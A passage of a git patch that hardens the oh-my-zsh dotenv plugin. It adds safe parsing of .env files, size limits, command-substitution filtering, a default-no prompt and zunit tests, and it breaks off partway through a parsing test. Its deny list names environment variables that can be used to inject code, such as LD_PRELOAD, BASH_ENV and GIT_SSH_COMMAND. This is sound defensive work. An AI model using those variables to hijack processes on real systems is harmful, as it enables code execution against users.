From d170d18746bb06db7b2fc97b67e281597a3fc152 Mon Sep 17 00:00:00 2001
From: =?UTF-8?q?Marc=20Cornell=C3=A0?= <marc@mcornella.com>
Date: Thu, 28 May 2026 20:23:45 +0200
Subject: [PATCH] fix(dotenv): introduce safe parsing of .env files (#13778)

* fix(dotenv): expect explicit yes before loading .env file
* fix(dotenv): implement secure parsing for .env files and add comprehensive tests
* feat(dotenv): check for .env file size to prevent DoS
* fix(dotenv): forbid setting special variables
* fix(dotenv): FIFO shouldn't be read twice
* fix(dotenv): unknown vars should expand to empty
* fix(dotenv): reject extremely large named pipes
* docs(dotenv): update to new parsing system
* fix(dotenv): add support for escaped dollars
* chore(dotenv): only declare local variables once
* fix(dotenv): apply review suggestions
* docs(dotenv): update test instructions

Co-authored-by: Carlo Sala <carlosalag@protonmail.com>
---
 plugins/dotenv/.zunit.yml                     |   9 +
 plugins/dotenv/README.md                      |  47 ++-
 plugins/dotenv/dotenv.plugin.zsh              | 289 ++++++++++++-
 plugins/dotenv/tests/_output/.gitignore       |   2 +
 plugins/dotenv/tests/_support/bootstrap       | 139 ++++++
 .../tests/_support/fixtures/dotenvjs.env      |  88 ++++
 .../tests/_support/fixtures/features.env      |  23 +
 plugins/dotenv/tests/basic-parsing.zunit      | 398 ++++++++++++++++++
 plugins/dotenv/tests/compatibility.zunit      |  27 ++
 plugins/dotenv/tests/security.zunit           | 209 +++++++++
 10 files changed, 1219 insertions(+), 12 deletions(-)
 create mode 100644 plugins/dotenv/.zunit.yml
 create mode 100644 plugins/dotenv/tests/_output/.gitignore
 create mode 100644 plugins/dotenv/tests/_support/bootstrap
 create mode 100644 plugins/dotenv/tests/_support/fixtures/dotenvjs.env
 create mode 100644 plugins/dotenv/tests/_support/fixtures/features.env
 create mode 100644 plugins/dotenv/tests/basic-parsing.zunit
 create mode 100644 plugins/dotenv/tests/compatibility.zunit
 create mode 100644 plugins/dotenv/tests/security.zunit

diff --git a/plugins/dotenv/.zunit.yml b/plugins/dotenv/.zunit.yml
new file mode 100644
index 000000000..e5ea0c3a6
--- /dev/null
+++ b/plugins/dotenv/.zunit.yml
@@ -0,0 +1,9 @@
+tap: false
+directories:
+  tests: tests
+  output: tests/_output
+  support: tests/_support
+time_limit: 0
+fail_fast: false
+allow_risky: false
+verbose: false
diff --git a/plugins/dotenv/README.md b/plugins/dotenv/README.md
index 5dbcf0fb1..8b3f9ecce 100644
--- a/plugins/dotenv/README.md
+++ b/plugins/dotenv/README.md
@@ -34,6 +34,25 @@ PORT=3001
 
 You can even mix both formats, although it's probably a bad idea.
 
+Multi-line values are supported using quoted strings:
+
+```sh
+PRIVATE_KEY="-----BEGIN RSA PRIVATE KEY-----
+MIIEowIBAAKCAQEA...
+-----END RSA PRIVATE KEY-----"
+```
+
+Variables defined earlier in the file can be referenced by later entries:
+
+```sh
+BASE_URL=https://example.com
+API_URL=$BASE_URL/api
+ASSETS_URL=${BASE_URL}/assets
+```
+
+Note: only variables defined within the same `.env` file are expanded this way —
+shell environment variables that already exist are **not** substituted.
+
 ## Settings
 
 ### ZSH_DOTENV_FILE
@@ -86,13 +105,37 @@ mount `.env` files as named pipes to inject secrets on-the-fly without writing t
 
 No additional configuration is required — the plugin automatically detects and sources named pipes.
 
+## Tests
+
+The tests use [zunit](https://github.com/zunit-zsh/zunit). Install it per its [documentation](https://github.com/zunit-zsh/zunit#installation), then run:
+
+```sh
+cd plugins/dotenv && zunit
+```
+
+> [NOTE!]
+> zunit also requires installing [Revolver](https://github.com/molovo/revolver).
+
 ## Version Control
 
 **It's strongly recommended to add `.env` file to `.gitignore`**, because usually it contains sensitive information such as your credentials, secret keys, passwords etc. You don't want to commit this file, it's supposed to be local only.
 
-## Disclaimer
+## Security
 
-This plugin only sources the `.env` file. Nothing less, nothing more. It doesn't do any checks. It's designed to be the fastest and simplest option. You're responsible for the `.env` file content. You can put some code (or weird symbols) there, but do it on your own risk. `dotenv` is the basic tool, yet it does the job.
+The plugin applies several best-effort safeguards when loading a `.env` file:
+
+- **Size limit** — files larger than 10 MiB are rejected to prevent DoS.
+- **Syntax check** — the file is validated with `zsh -fn` before any variables are set.
+- **No command substitution** — entries containing `$(...)` or backtick constructs are skipped.
+- **Forbidden variables** — the following variables are never overwritten, regardless of what the
+  `.env` file contains: `NODE_OPTIONS`, `BASH_ENV`, `ENV`, `ZDOTDIR`, `ZSH`, `LD_PRELOAD`,
+  `LD_LIBRARY_PATH`, `DYLD_INSERT_LIBRARIES`, `GIT_CONFIG_GLOBAL`, `GIT_DIR`, `GIT_EDITOR`,
+  `GIT_EXTERNAL_DIFF`, `GIT_EXEC_PATH`, `GIT_PAGER`, `GIT_SSH`, `GIT_SSH_COMMAND`,
+  `GIT_SSL_NO_VERIFY`, `GIT_TEMPLATE_DIR`, `VISUAL`, `PAGER`, `EDITOR`, and all zsh special
+  parameters.
+
+These measures are **best-effort** — you are still responsible for the content of your `.env`
+file. Do not use this plugin as a security boundary.
 
 If you need more advanced and feature-rich ENV management, check out these awesome projects:
 
diff --git a/plugins/dotenv/dotenv.plugin.zsh b/plugins/dotenv/dotenv.plugin.zsh
index c44c369b5..72839a501 100644
--- a/plugins/dotenv/dotenv.plugin.zsh
+++ b/plugins/dotenv/dotenv.plugin.zsh
@@ -7,9 +7,271 @@
 : ${ZSH_DOTENV_ALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-allowed.list"}
 : ${ZSH_DOTENV_DISALLOWED_LIST:="${ZSH_CACHE_DIR:-$ZSH/cache}/dotenv-disallowed.list"}
 
-
 ## Functions
 
+_parse_dotenv_content() {
+  setopt localoptions extendedglob
+
+  local content="$1"
+  local mode="${2:-export}"
+
+  # Validate mode argument
+  case "$mode" in
+    export|test) ;;
+    *)
+      echo "parse_dotenv: invalid mode '$mode' (use 'export' or 'test')" >&2
+      return 1
+      ;;
+  esac
+
+  local node line key value
+  local raw_value expanded prefix remainder var_name escaped_dollar_placeholder
+  local sq dq uq safe
+  local -A parsed_vars
+  local -a nodes lines
+
+  # Parse into command lines separated by `;`, with built-in support for multi-line commands.
+  # (Z:C:) ignores comments and preserves quotes and escapes.
+  #
+  # All logical commands are separated by literal ';' elements, which allows us to reconstruct logical lines
+  # by joining all elements between ';'.
+  #
+  # Example input:
+  #   VAR1=value1; VAR2=value2
+  #   VAR3="multi
+  #   line value"
+  # Result:
+  #   typeset -a nodes=( 'VAR1=value1' ';' 'VAR2=value2' ';' $'VAR3="multi\nline value"' )
+  #   typeset -a lines=( 'VAR1=value1' 'VAR2=value2' $'VAR3="multi\nline value"' )
+  #
+  nodes=("${(@Z:C:)content}" ";") # last ';' ensures we add the final command
+  for node in "${nodes[@]}"; do
+    if [[ "$node" == ";" ]]; then
+      if [[ -n "$line" ]]; then
+        lines+=("$line")
+        line=""
+      fi
+      continue
+    fi
+
+    [[ -z "$line" ]] || line+=" "
+    line+="$node"
+  done
+
+  local -a forbidden_vars=(
+    NODE_OPTIONS
+    BASH_ENV
+    ENV
+    ZDOTDIR
+    ZSH
+    LD_PRELOAD
+    LD_LIBRARY_PATH
+    DYLD_INSERT_LIBRARIES
+    GIT_CONFIG_GLOBAL
+    GIT_DIR
+    GIT_EDITOR
+    GIT_EXTERNAL_DIFF
+    GIT_EXEC_PATH
+    GIT_PAGER
+    GIT_SSH
+    GIT_SSH_COMMAND
+    GIT_SSL_NO_VERIFY
+    GIT_TEMPLATE_DIR
+    VISUAL
+    PAGER
+    EDITOR
+    ${(k)parameters[(R)*export*special]}
+  )
+  local forbidden="${(j:|:)forbidden_vars}"
+
+
+  # Each line contains a single command line, we need to parse valid KEY=VALUE pairs
+  for line in "${lines[@]}"; do
+    # Strip leading 'export ' keyword
+    line="${line#export[ 	]}"
+
+    # Match KEY=VALUE pattern
+    # "A name may be any sequence of alphanumeric characters and underscores"
+    # https://zsh.sourceforge.io/Doc/Release/Parameters.html#Parameters
+    if [[ ! "$line" =~ ^([a-zA-Z_][a-zA-Z0-9_]*)=(.*)$ ]]; then
+      continue
+    fi
+
+    key="${match[1]}"
+    value="${match[2]}"
+    raw_value="$value"
+
+    # Filter out variables to be ignored for security reasons (best effort)
+    if [[ "$key" == (${~forbidden}) ]]; then
+      continue
+    fi
+
+    # Use tokenization to split value with native shell parsing (handles quotes and escapes)
+    # Ignore any values that parse to multiple words, e.g. `BASE_URL=/ echo command run`
+    local -a words
+    words=("${(@z)value}")
+    if [[ ${#words} -ne 1 ]]; then
+      continue
+    fi
+
+    ## START: FILTER COMMAND EXPANSION
+    #
+    # Filter lines with command expansion not in safe contexts
+    #
+    # READER'S NOTE: this is actually a "best effort" check (works in tests), but
+    # only to prevent setting variables with command substitution. The actual effect
+    # of setting them would not be a vulnerability, because we use `typeset name=value`
+    # and value is a quoted string parsed by zsh itself with `${(Z:C:)content}`.
+    #
+    # What does this mean? If we were to remove this filter block, this is what would happen:
+    #
+    # Input: DANGEROUS=$(echo this is a command)
+    # Output: DANGEROUS='$(echo this is a command)' (literal string, no command execution)
+    #
+    # Check for potential command substitution outside of safe contexts
+    # - single-quoted strings: command substitution is literal there
+    sq="'[^']#'"
+    # - double-quoted strings, but NOT unescaped ` or $(
+    dq='"([^"$`\\]|\\.|\\$[^(\`])#"'
+    # - unquoted text, but NOT unescaped ` or $(
+    uq='([^$`'"'"'"\\]|\\.|\\$[^(\`])#'
+    safe="(${sq}|${dq}|${uq})#"
+    # Remove the longest safe prefix; what remains starts at first unsafe construct
+    remainder="${value##${~safe}}"
+
+    if [[ "$remainder" == *'$('* || "$remainder" == *'`'* ]]; then
+      continue
+    fi
+    ## END: FILTER COMMAND EXPANSION
+
+    # Single-quoted values are fully literal and must not participate in expansion.
+    if [[ "$raw_value" == \'*\' ]]; then
+      value="${(Q)value}"
+      parsed_vars[$key]="$value"
+      if [[ "$mode" == "export" ]]; then
+        typeset -x "$key"="$value"
+      fi
+      continue
+    fi
+
+    # Preserve escaped dollars so they remain literal after unquoting.
+    escaped_dollar_placeholder=$'\001DOTENV_ESCAPED_DOLLAR\001'
+    value="${value//\\\$/$escaped_dollar_placeholder}"
+
+    # Unquote the value to handle special characters and multiline values.
+    value="${(Q)value}"
+
+    # Expand previously parsed in-file variables without partial name matches.
+    expanded=""
+    prefix=""
+    remainder="$value"
+    var_name=""
+    while [[ "$remainder" == *'$'* ]]; do
+      prefix="${remainder%%\$*}"
+      expanded+="$prefix"
+      remainder="${remainder#$prefix}"
+
+      if [[ "$remainder" =~ '^\$\{([a-zA-Z_][a-zA-Z0-9_]*)\}(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      elif [[ "$remainder" =~ '^\$([a-zA-Z_][a-zA-Z0-9_]*)(.*)$' ]]; then
+        var_name="${match[1]}"
+        remainder="${match[2]}"
+      else
+        expanded+='$'
+        remainder="${remainder#?}"
+        continue
+      fi
+
+      if [[ -v "parsed_vars[$var_name]" ]]; then
+        expanded+="${parsed_vars[$var_name]}"
+      fi
+    done
+    value="${expanded}${remainder}"
+    value="${value//$escaped_dollar_placeholder/\$}"
+
+    # Store in parsed vars (for in-file expansion)
+    parsed_vars[$key]="$value"
+
+    # Normal mode: export the variable
+    if [[ "$mode" == "export" ]]; then
+      typeset -x "$key"="$value"
+    fi
+  done
+
+  # In test mode, set DOTENV_TEST_VARS
+  typeset -gA DOTENV_TEST_VARS
+  DOTENV_TEST_VARS=("${(@kv)parsed_vars}")
+}
+
+parse_dotenv() {
+  local filename="$1"
+  local mode="${2:-export}"
+  local content
+
+  # Fail if file is too large to avoid DoS
+  zmodload -F zsh/stat b:zstat
+  local -i file_size max_size=10485760  # 10MiB
+  if ! file_size=$(zstat +size "$filename" 2>/dev/null); then
+    echo "dotenv: unable to determine size of file '$filename'" >&2
+    return 1
+  fi
+
+  if (( file_size > max_size )); then
+    echo "dotenv: file '$filename' is too large to parse (size: $file_size bytes)" >&2
+    return 1
+  fi
+
+  content="$(<"$filename")" || return 1
+  _parse_dotenv_content "$content" "$mode"
+}
+
+_dotenv_read_limited() {
+  local filename="$1"
+  local chunk content=""
+  local -i max_size=10485760 total=0 read_size=0 fd read_status
+
+  zmodload zsh/system || return 1
+  exec {fd}<"$filename" || return 1
+
+  while true; do
+    sysread -i $fd -s 65536 -c read_size chunk
+    read_status=$?
+
+    if (( read_status == 5 )); then
+      break
+    elif (( read_status != 0 )); then
+      exec {fd}<&-
+      return 1
+    fi
+
+    (( total += read_size ))
+    if (( total > max_size )); then
+      exec {fd}<&-
+      echo "dotenv: file '$filename' is too large to parse (size: more than $max_size bytes)" >&2
+      return 1
+    fi
+
+    content+="$chunk"
+  done
+
+  exec {fd}<&-
+  REPLY="$content"
+}
+
+_dotenv_check_syntax() {
+  local filename="$1"
+
+  if (( $# == 2 )); then
+    printf '%s' "$2" | zsh -fn /dev/stdin
+  else
+    zsh -fn -- "$filename"
+  fi || {
+    echo "dotenv: error when sourcing '$filename' file" >&2
+    return 1
+  }
+}
+
 source_env() {
   if [[ ! -f "$ZSH_DOTENV_FILE" ]] && [[ ! -p "$ZSH_DOTENV_FILE" ]]; then
     return
@@ -37,28 +299,35 @@ source_env() {
       [[ $column -eq 1 ]] || echo
 
       # print same-line prompt and output newline character if necessary
-      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([Y]es/[n]o/[a]lways/n[e]ver) "
+      echo -n "dotenv: found '$ZSH_DOTENV_FILE' file. Source it? ([y]es/[N]o/[a]lways/n[e]ver) "
       read -k 1 confirmation
       [[ "$confirmation" = $'\n' ]] || echo
 
       # check input
       case "$confirmation" in
-        [nN]) return ;;
+        [yY]) ;;
         [aA]) echo "$dirpath" >> "$ZSH_DOTENV_ALLOWED_LIST" ;;
         [eE]) echo "$dirpath" >> "$ZSH_DOTENV_DISALLOWED_LIST"; return ;;
-        *) ;; # interpret anything else as a yes
+        *) return ;; # interpret anything else as a no
       esac
     fi
   fi
 
-  # test .env syntax
-  zsh -fn $ZSH_DOTENV_FILE || {
-    echo "dotenv: error when sourcing '$ZSH_DOTENV_FILE' file" >&2
-    return 1
-  }
+  local content
+  if [[ -p "$ZSH_DOTENV_FILE" ]]; then
+    _dotenv_read_limited "$ZSH_DOTENV_FILE" || return 1
+    content="$REPLY"
+    _dotenv_check_syntax "$ZSH_DOTENV_FILE" "$content" || return 1
+
+    setopt localoptions allexport
+    _parse_dotenv_content "$content"
+    return
+  fi
+
+  _dotenv_check_syntax "$ZSH_DOTENV_FILE" || return 1
 
   setopt localoptions allexport
-  source $ZSH_DOTENV_FILE
+  parse_dotenv "$ZSH_DOTENV_FILE"
 }
 
 autoload -U add-zsh-hook
diff --git a/plugins/dotenv/tests/_output/.gitignore b/plugins/dotenv/tests/_output/.gitignore
new file mode 100644
index 000000000..d6b7ef32c
--- /dev/null
+++ b/plugins/dotenv/tests/_output/.gitignore
@@ -0,0 +1,2 @@
+*
+!.gitignore
diff --git a/plugins/dotenv/tests/_support/bootstrap b/plugins/dotenv/tests/_support/bootstrap
new file mode 100644
index 000000000..f45bec020
--- /dev/null
+++ b/plugins/dotenv/tests/_support/bootstrap
@@ -0,0 +1,139 @@
+#!/usr/bin/env zsh
+# Bootstrap script for dotenv plugin tests
+# This is sourced before any tests run and provides shared utilities
+
+# Load the dotenv plugin
+source "$PWD/dotenv.plugin.zsh"
+ZSH_DOTENV_PROMPT=false
+ZSH_DOTENV_FILE=/dev/null
+
+# Helper: Parse dotenv file in test mode
+_parse_dotenv_test() {
+  parse_dotenv "$1" "test"
+}
+
+# Helper: Parse dotenv file in export mode
+_parse_dotenv_export() {
+  unset "${(k)parameters[(R)*export*]}" 2>/dev/null || true
+
+  parse_dotenv "$1" "test"
+
+  for key in "${(k)DOTENV_TEST_VARS}"; do
+    typeset -x "$key"="${DOTENV_TEST_VARS[$key]}"
+  done
+}
+
+# Helper: Run parse_dotenv suppressing stderr
+_parse_dotenv_quiet() {
+  parse_dotenv "$@" 2>/dev/null
+}
+
+# Helper: Create a temporary test fixture
+_create_temp_fixture() {
+  local fixture
+  fixture==(:)  # Create temp file
+  echo "$fixture"
+}
+
+_write_temp_fixture() {
+  local fixture="$1"
+  > "$fixture"
+}
+
+
+# Helper: Source file with allexport and capture variables
+# Usage: _source_with_allexport "file.env"
+# Result is in DOTENV_SOURCE_VARS associative array
+_source_with_allexport() {
+  local filename="$1"
+
+  # Source with allexport in a subshell with no exported variables
+
+  # The return and capture of the exported variables is a bit of a pain:
+  # 1. We first store the key=value pairs in $vars associative array, which is
+  #    defined before allexport is set to avoid appearing in results.
+  # 2. Afterwards, we join all keys and values of the associative with null delimiters. With 
+  #    "$(@kv)vars}" we get keys and values with quotes, to retain empty values. With (pj:\0:)
+  #    we join them with nulls.
+  # 3. The caller reads this output with "${(@0)}" to split by nulls and quoting to retain
+  #    empty values, and then uses it to populate an associative array.
+  # Don't try to understand this or change it unless you have to. Debugging is a nightmare.
+  typeset -gA DOTENV_SOURCE_VARS
+  DOTENV_SOURCE_VARS=("${(@0)"$(
+    local -A vars
+
+    # Clear all exports first
+    zmodload zsh/parameter
+    unset ${(k)parameters[(R)*export*]} 2>/dev/null || true
+
+    # Source file with allexport
+    setopt localoptions allexport
+    source "$filename"
+
+    # Set all exported variables into an associative array
+    for key in ${(k)parameters[(R)*export*]}; do
+      vars[$key]="${(P)key}"
+    done
+
+    print -rn -- "${(@kvpj:\0:)vars}"
+  )"}")
+}
+
+
+## ZUnit assertion helpers
+
+_zunit_assert_function_exists() {
+  [[ "${+functions[$1]}" -eq 1 ]] && return 0
+  echo "Function '$1' does not exist"
+  exit 1
+}
+
+_zunit_assert_var_same_as() {
+  local tvalue=${${:-${(Pt)1%-*}}:-unset} tcomp=${${:-${(Pt)2%-*}}:-unset}
+  if [[ $tvalue != $tcomp ]]; then
+    echo "Type mismatch: '$1' ($tvalue) and '$2' ($tcomp)"
+    exit 78
+  fi
+
+  # Special case for associative arrays
+  if [[ ${(Pt)1} == "association" ]]; then
+    local -A value=("${(P@kv)1}") comparison=("${(P@kv)2}")
+    local -aU keys=("${(@k)value}" "${(@k)comparison}")
+
+    local ret=0 key
+    for key in "${keys[@]}"; do
+      # Key match checks
+      if [[ -v "value[$key]" && ! -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is set (value='${value[$key]}')"
+        ret=1
+      elif [[ ! -v "value[$key]" && -v "comparison[$key]" ]]; then
+        echo "'$1[$key]' is not set (expected='${comparison[$key]}')"
+        ret=1
+      # Value match checks
+      elif [[ "${value[$key]}" != "${comparison[$key]}" ]]; then
+        echo "'$1[$key]' value mismatch: '${value[$key]}' is not the same as '${comparison[$key]}'"
+        ret=1
+      fi
+    done
+
+    exit $ret
+  fi
+
+  # Generic case
+  local value="${(P)1}" comparison="${(P)2}"
+  [[ "$value" != "$comparison" ]] || exit 0
+  echo "'$1' value mismatch: '$value' is not the same as '$comparison'"
+  exit 1
+}
+
+_zunit_assert_var_is_set() {
+  [[ -v "$1" ]] && return 0
+  echo "Variable '$1' is not set"
+  exit 1
+}
+
+_zunit_assert_var_is_not_set() {
+  [[ ! -v "$1" ]] && return 0
+  echo "Variable '$1' is set"
+  exit 1
+}
diff --git a/plugins/dotenv/tests/_support/fixtures/dotenvjs.env b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
new file mode 100644
index 000000000..16a56267c
--- /dev/null
+++ b/plugins/dotenv/tests/_support/fixtures/dotenvjs.env
@@ -0,0 +1,88 @@
+# Consolidated dotenv test fixture from dotenv test suite
+# Source: https://github.com/motdotla/dotenv/tree/master/tests
+#
+# Copyright (c) 2015, Scott Motte
+# All rights reserved.
+
+# Redistribution and use in source and binary forms, with or without
+# modification, are permitted provided that the following conditions are met:
+
+# * Redistributions of source code must retain the above copyright notice, this
+#   list of conditions and the following disclaimer.
+
+# * Redistributions in binary form must reproduce the above copyright notice,
+#   this list of conditions and the following disclaimer in the documentation
+#   and/or other materials provided with the distribution.
+
+# THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS"
+# AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE
+# IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE
+# DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE
+# FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL
+# DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
+# SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER
+# CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY,
+# OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE
+# OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
+
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+
+# Unquoted (no escape expansion)
+DONT_EXPAND_UNQUOTED=dontexpand\nnewlines
+
+# Quotes inside quotes
+DOUBLE_QUOTES_INSIDE_SINGLE='double "quotes" work inside single quotes'
+SINGLE_QUOTES_INSIDE_DOUBLE="single 'quotes' work inside double quotes"
+
+# Comments
+# COMMENTS=work
+INLINE_COMMENTS_SINGLE_QUOTES='inline comments outside of #singlequotes' # work
+INLINE_COMMENTS_DOUBLE_QUOTES="inline comments outside of #doublequotes" # work
+INLINE_COMMENTS_UNQUOTED=value # work
+
+# Special characters
+EQUAL_SIGNS=equals==
+RETAIN_INNER_QUOTES_AS_STRING='{"foo": "bar"}'
+USEREMAIL=therealnerdybeast@example.tld
+
+# Multiline values with double quotes
+MULTI_DOUBLE_QUOTED="THIS
+IS
+A
+MULTILINE
+STRING"
+
+# Multiline values with single quotes
+MULTI_SINGLE_QUOTED='THIS
+IS
+A
+MULTILINE
+STRING'
+
+# Multiline PEM certificate
+MULTI_PEM_DOUBLE_QUOTED="-----BEGIN PUBLIC KEY-----
+MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnNl1tL3QjKp3DZWM0T3u
+LgGJQwu9WqyzHKZ6WIA5T+7zPjO1L8l3S8k8YzBrfH4mqWOD1GBI8Yjq2L1ac3Y/
+bTdfHN8CmQr2iDJC0C6zY8YV93oZB3x0zC/LPbRYpF8f6OqX1lZj5vo2zJZy4fI/
+kKcI5jHYc8VJq+KCuRZrvn+3V+KuL9tF9v8ZgjF2PZbU+LsCy5Yqg1M8f5Jp5f6V
+u4QuUoobAgMBAAE=
+-----END PUBLIC KEY-----"
diff --git a/plugins/dotenv/tests/_support/fixtures/features.env b/plugins/dotenv/tests/_support/fixtures/features.env
new file mode 100644
index 000000000..e5862bc8e
--- /dev/null
+++ b/plugins/dotenv/tests/_support/fixtures/features.env
@@ -0,0 +1,23 @@
+# Export syntax
+export EXPORTED_VAR=exported_value
+export EXPORTED_EMPTY=
+
+# Variable expansion (in-file forward references)
+BASE_URL=https://api.example.com
+API_ENDPOINT="${BASE_URL}/v1"
+FULL_ENDPOINT=$BASE_URL/v2/users
+COMBINED="${BASE_URL}_suffix"
+
+# Testing multiline quoting edge cases
+MULTILINE_UNQUOTED=This\ is\ a\ \
+multiline\ value\ that\ should\ be\ treated\ as\ a\ single\ line\ with\ a\ literal\ backslash\ and\ newline
+MULTILINE_DOUBLE_QUOTED="This is a \
+multiline value that should be treated as a single line with an actual newline character"
+MULTILINE_SINGLE_QUOTED='This is a \
+multiline value that should be treated as a single line with a literal backslash and newline'
+MULTILINE_MIXED_QUOTES="This is a \
+multiline value that should be treated as a single line with an actual newline character and a literal backslash \"and 'single quotes' inside"
+
+# Test for regressions
+DATABASE_URL="postgres://user:pass@host/db;sslmode=require"
+VAR_WITH_SEMICOLONS="value ; with ; semicolons"
diff --git a/plugins/dotenv/tests/basic-parsing.zunit b/plugins/dotenv/tests/basic-parsing.zunit
new file mode 100644
index 000000000..611f6a70a
--- /dev/null
+++ b/plugins/dotenv/tests/basic-parsing.zunit
@@ -0,0 +1,398 @@
+#!/usr/bin/env zunit
+
+
+@setup {
+  typeset -g fixture="$(_create_temp_fixture)"
+  typeset -gA expected_vars=()
+}
+
+@teardown {
+  [[ -f "$fixture" ]] && command rm -f "$fixture"
+  unset DOTENV_TEST_VARS DOTENV_SOURCE_VARS 2>/dev/null
+}
+
+@test 'dotenv plugin loads successfully' {
+  assert "parse_dotenv" function_exists
+  assert "source_env" function_exists
+}
+
+@test 'parse returns error for unsupported mode' {
+  run _parse_dotenv_quiet "/dev/null" "export"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "test"
+  assert $state equals 0
+
+  run _parse_dotenv_quiet "/dev/null" "invalid_mode"
+  assert $state equals 1
+}
+
+@test 'parse returns error for oversized file (> 10MiB)' {
+  command truncate -s 11M "$fixture" 2>/dev/null
+
+  run _parse_dotenv_quiet "$fixture" "test"
+  assert $state equals 1
+}
+
+@test 'parse returns error for non-existent file' {
+  run _parse_dotenv_quiet "/nonexistent/path/.env" "test"
+  assert $state equals 1
+}
+
+@test 'source_env loads named pipes without blocking' {
+  local tmpdir fifo output result
+  local child_pid writer_pid killer_pid child_rc
+
+  tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")"
+  fifo="$tmpdir/.env"
+  output="$tmpdir/output"
+  command mkfifo "$fifo"
+
+  (
+    print -r -- 'TOKEN=secret' > "$fifo"
+  ) &
+  writer_pid=$!
+
+  (
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env
+    print -r -- "${TOKEN-<unset>}" > "$output"
+  ) &
+  child_pid=$!
+
+  (
+    sleep 2
+    kill -0 $child_pid 2>/dev/null || exit 0
+    kill $child_pid 2>/dev/null || exit 0
+  ) &
+  killer_pid=$!
+
+  wait $child_pid
+  child_rc=$?
+
+  kill $killer_pid 2>/dev/null || true
+  kill $writer_pid 2>/dev/null || true
+  wait $writer_pid 2>/dev/null || true
+
+  [[ -f "$output" ]] && result="$(<"$output")"
+  command rm -rf "$tmpdir"
+
+  assert $child_rc equals 0
+  assert "$result" equals 'secret'
+}
+
+@test 'source_env rejects oversized named pipes' {
+  run zsh -fc '
+    source ./dotenv.plugin.zsh
+
+    tmpdir="$(mktemp -d "${TMPDIR:-/tmp}/dotenv.XXXXXX")" || exit 1
+    fifo="$tmpdir/.env"
+    command mkfifo "$fifo" || exit 1
+
+    cleanup() {
+      kill $killer_pid 2>/dev/null || true
+      kill $writer_pid 2>/dev/null || true
+      wait $writer_pid 2>/dev/null || true
+      command rm -rf "$tmpdir"
+    }
+    trap cleanup EXIT
+
+    (
+      {
+        print -rn -- "BIG="
+        command dd if=/dev/zero bs=10485761 count=1 2>/dev/null | tr "\0" a
+      } > "$fifo"
+    ) &
+    writer_pid=$!
+
+    (
+      sleep 2
+      kill -0 $$ 2>/dev/null || exit 0
+      kill $$ 2>/dev/null || exit 0
+    ) &
+    killer_pid=$!
+
+    ZSH_DOTENV_PROMPT=false
+    ZSH_DOTENV_FILE="$fifo"
+    source_env >/dev/null 2>&1
+  '
+
+  assert $state equals 1
+}
+
+@test 'parse basic variable assignment' {
+  > "$fixture" <<'EOF'
+# Basic assignments
+BASIC=basic
+
+# previous line intentionally left blank
+AFTER_LINE=after_line
+EOF
+
+  expected_vars=(
+    BASIC 'basic'
+    AFTER_LINE 'after_line'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse empty values' {
+  > "$fixture" <<'EOF'
+# Empty values
+EMPTY=
+EMPTY_SINGLE_QUOTES=''
+EMPTY_DOUBLE_QUOTES=""
+EOF
+
+  expected_vars=(
+    EMPTY ''
+    EMPTY_SINGLE_QUOTES ''
+    EMPTY_DOUBLE_QUOTES ''
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse single quoted values' {
+  > "$fixture" <<'EOF'
+# Single quotes (literal, no expansion)
+SINGLE_QUOTES='single_quotes'
+SINGLE_QUOTES_SPACED='    single quotes    '
+DONT_EXPAND_SQUOTED='dontexpand\nnewlines'
+EOF
+
+  expected_vars=(
+    SINGLE_QUOTES 'single_quotes'
+    SINGLE_QUOTES_SPACED '    single quotes    '
+    DONT_EXPAND_SQUOTED 'dontexpand\nnewlines'
+  )
+
+  _parse_dotenv_test "$fixture"
+
+  assert "DOTENV_TEST_VARS" var_same_as "expected_vars"
+}
+
+@test 'parse double quoted values' {
+  > "$fixture" <<'EOF'
+# Double quotes (with escapes)
+DOUBLE_QUOTES="double_quotes"
+DOUBLE_QUOTES_SPACED="    double quotes    "
+EXPAND_NEWLINES="expand\nnew\nlines"
+EOF
+
+  expected_vars=(
+    DOUBLE_QUOTES 'double_quotes'
+    DOUBLE_QUOTES_SPACED '    double quotes    '
+    EXPAND_NEWLINES "expand\nnew\nlines"
+  )
+
+  _parse_dotenv_test "$fixture"
+
